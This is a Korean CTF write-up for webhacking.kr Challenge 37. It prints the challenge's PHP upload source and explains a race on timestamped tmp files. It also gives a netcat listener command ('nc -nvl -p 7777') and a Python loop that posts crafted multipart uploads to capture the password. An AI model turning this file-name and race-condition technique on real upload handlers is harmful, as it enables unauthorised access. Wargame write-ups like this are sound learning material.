내 생각엔 숫자들은 timestamp인것 같고, . 랑 ..가 붙은걸 보니 디렉토리를 나타내는것 같아보이는데..
주석에 index.phps가 있으므로 한번 보자.
<html> <head> <title>Challenge 37</title> </head> <body> <!-- index.phps --> <? $pw="???"; $time=time(); $f=fopen("tmp/tmp-$time","w"); fwrite($f,"127.0.0.1"); fclose($f); $fck=@file("tmp/.number"); if($fck) $fck=$fck[0]; if(!$fck) $fck=0; $fck++; $f2=fopen("tmp/.number","w"); fwrite($f2,$fck); fclose($f2); $file_nm=$HTTP_POST_FILES[upfile][name]; $file_nm=str_replace("<","",$file_nm); $file_nm=str_replace(">","",$file_nm); $file_nm=str_replace(".","",$file_nm); $file_nm=str_replace(" ","",$file_nm); if($file_nm) { $f=@fopen("tmp/$file_nm","w"); @fwrite($f,$_SERVER[REMOTE_ADDR]); @fclose($f); } echo("<pre>"); $kk=scandir("tmp"); for($i=0;$i<=count($kk);$i++) { echo("$kk[$i]\n"); } echo("</pre>"); $ck=file("tmp/tmp-$time"); $ck=$ck[0]; $request="GET /$pw HTTP/1.0\r\n"; $request.="Host: $ck\r\n"; $request.="\r\n"; $socket=@fsockopen($ck,7777,$errstr,$errno,1); @fputs($socket,$request); @fclose($socket); echo("$ck:7777<br>"); if($fck>=30) { $kk=scandir("tmp"); for($i=0;$i<=count($kk);$i++) { @unlink("tmp/$kk[$i]"); } } ?> <form method=post enctype="multipart/form-data" action=index.php> <input type=file name=upfile><input type=submit> </form> </body> </html>
소스가 여태봤던것중에 젤 길다.
간단히 요약하면, tmp파일마다 아이피가 적혀있는데 (127.0.0.1)
만약 파일을 수신하게 되면 127.0.0.1 이 아닌 파일에 있는 아이피를 기록하게 된다.
tmp파일은 유닉스타임스탬프가 붙여서 계속 만들어진다.
이건 전 문제에 포트포워딩하는거랑 똑같기 때문에 다음과 같이 만들고 파일을 업로드하고 기다렸다. 근데 아무리해도 안된다.
nc -nvl -p 7777
잘 읽어보니 파일에 내가 뭘 쓰던 상관이 없다.
REMOTE_ADDR을 기록하기 때문에 내 호스트 아이피가 무조건 기록되고 접속하게 된다. 근데 나는 학교라서 포트포워딩을 할 수 가 없다. 일반적으로 다 막혀있기 때문에 또 내 개인서버로 통하게 해야했다... 결국 스크립트를 짠담에 서버에서 따로 돌려줘야했다.
#!/usr/bin/env python # -*- coding: utf8 -*- import urllib, urllib2, re sess = "" headers = {'Host': 'webhacking.kr', 'Content-Type': 'multipart/form-data; boundary=---------------------------21469235120676', 'Cookie': "PHPSESSID={}".format(sess) } pw = '' while(1): url = 'http://webhacking.kr/challenge/web/web-18/index.php' data = """ -----------------------------21469235120676 Content-Disposition: form-data; name="upfile"; filename="tmp-1459543023" Content-Type: application/octet-stream -----------------------------21469235120676-- """ req = urllib2.Request(url, data, headers) response = urllib2.urlopen(req).read()
무한루프기땜에 적당히 돌리다 멈추면된다.
어쨌든 REMOTE_ADDR이다. 아이피 못바꾼다!
서버에서 위 스크립트를 돌리면 바로 패스워드가 들어온다.
근데 패스워드역시 서버 아이피 기준으로 따라가는것인지 내 호스트에서는 인증이 안된다.
결국 auth도 서버에서 따로 만들어서 보내주면된다.
요문제는 결국 콘솔에서 클리어..
python gogo.py <script>alert('challenge 37 clear!!');location.href='?mode=challenge';</script>